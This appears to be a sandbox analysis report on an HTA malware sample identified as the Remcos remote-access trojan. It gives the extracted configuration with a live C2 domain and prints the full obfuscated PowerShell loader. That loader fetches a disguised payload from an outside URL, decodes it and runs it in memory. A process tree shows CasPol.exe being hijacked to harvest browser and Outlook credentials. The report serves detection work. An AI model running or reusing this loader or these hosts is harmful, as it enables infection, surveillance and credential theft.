Resubmissions

10/09/2026, 12:55

260910-p5s37stepc10

10/09/2026, 12:50

260910-p25ylaha6610

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 12:50

General

  • Target
    mfasgood.hta
  • Size 807KB
  • Sample260910-p25ylaha66
  • SHA256 8e7af0d5af18f6d4eef967c54ce2063ecca6ec6203723d087d7768d89a5b5623
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://pic.li/images/MSI_PRO_Latest.jpeg

Extracted

Family
  • remcos

Version
  • 6.0.0 Pro

Botnet
  • EveryMaraNma$$$$

C2
  • demnocusurpapanottodelivermebetterlogs.duckdns.org:14646

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-AT6RVM

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mfasgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4692
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi=''https://pic.li/images/MSI_PRO_Latest.jpeg''; $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi = [System.Net.HttpWebRequest]::Create($cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi); $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.UserAgent = ''Mozilla/5.0''; $cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo = $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.GetResponse().GetResponseStream(); $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa = New-Object IO.StreamReader($cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo); $sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya = $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa.ReadtoEnd(); $daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu=''IN-''; $bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza=''-in1''; $quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu); $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.LastIndexOf($bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza); if($quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo -eq -1 -or $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro -eq -1){return}; $hokatidecakujonedisolehiqazuyijufimijabavuwevihowewefeqazimicohumanexiqebuyugabiqiquxevazusupuzetira=$quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length; $lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.Substring($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length, $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro-($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length)); $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi=$lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi.Replace(''*'',''A'').ToCharArray(); $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa = -join $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi[($yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi.Length - 1)..0]; $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito = [Type]::GetType(''System.Convert''); [byte[]]$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu = $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito.GetMethod(''FromBase64String'').Invoke($null, (, $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa)); $sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe=$sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi.Invoke([AppDomain]::CurrentDomain, (,$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu)); $betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe=(''NqhiJ6EfTp6E04lsyxlluzYvfYdGz1w4607ElHLVamPg1HYHMco6RzuW2/JCC7bhIVck8RlfwVWH1wyXmn0OJw=='','''',''t3ZET90eegYzbfa5LfVuh/MQeejD+0PB87H4jaOHeqlGr+mVxjJoJnDF1XWA+mUd'',''VIxmtcEFgPqiMLNFobxMBNTI0tUz9w1qllvKae1Vnf8='',''8LAYhhhdLYjveDcwRmQSatgvwOuKY4GKs0Na/e5QJcw='','''',''nXLr4/kfZUfEYRHCwsxX0pRlRi+dFQrIbmoX5Qd6OE0='','''',''U21UkwaBjg1XEVBLqiFZOGPwjQ4bnMZVAwmEjmb9UtA='',''Z4bTHjMc3bFSLZLVSxVw1ZNK2itKe3/UvhLWSd5UbMf04XIfXGRHkAUkYAEL8O03'',''8jabn2Z++8fWHT8qqjzplkUebY/u87ZbhJng/tYPkA8='',''ykHI61dGv5YYlXYzamtfbyrctZI4nhBL5tTBjsl+mAQ='',''ozRQYhEPsuRK3+kkFcGistUkBdNpAuP0PU7MVAKh//M='','''',''fW0OqXhDpIASUAy/ZUI3D83gmLBcBGcP9nFEgDegktA='',''dcNZqEPRdANDWGKSeAZIbZzZCgGzjHm6NlOlPm2BDUU='','''','''',''''); try{ $xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo=($zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime=($xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime.Invoke($null,[object[]]$betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe) }catch{}'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
        PID:296
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wwrbykqnesjuloxva"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3956
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hyxmzcbhsbbhnumzrptf"
          3⤵
            PID:4912
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hyxmzcbhsbbhnumzrptf"
            3⤵
            • Accesses Microsoft Outlook accounts
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • outlook_office_path
            PID:3980
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rscezvligjtmyaalbaohljxi"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2792

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            wwrbykqnesjuloxva

            • Path C:\Users\Admin\AppData\Local\Temp\wwrbykqnesjuloxva
            • Size 2B
            • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
            • MD5 SHA1 SHA512

            memory/2120-43-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/2120-47-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/2120-57-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-58-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-56-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-55-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-54-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-53-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-52-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-29-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-49-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-50-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-48-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-46-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/2120-28-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-51-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-19-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-22-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-21-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-27-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-24-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-26-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2120-25-0x0000000000400000-0x0000000000480000-memory.dmp

            memory/2792-36-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2792-40-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2792-38-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/3956-30-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3956-31-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3956-32-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3980-37-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/3980-33-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/3980-39-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/4504-9-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-13-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-23-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-18-0x00000276C3170000-0x00000276C317A000-memory.dmp

            memory/4504-2-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-17-0x00000276C36B0000-0x00000276C36C2000-memory.dmp

            memory/4504-16-0x00000276C3630000-0x00000276C36B4000-memory.dmp

            memory/4504-15-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-14-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-0-0x00007FFDE2D4F000-0x00007FFDE2D50000-memory.dmp

            memory/4504-12-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-11-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-10-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-1-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-8-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-7-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-6-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp

            memory/4504-5-0x00000276C3140000-0x00000276C3162000-memory.dmp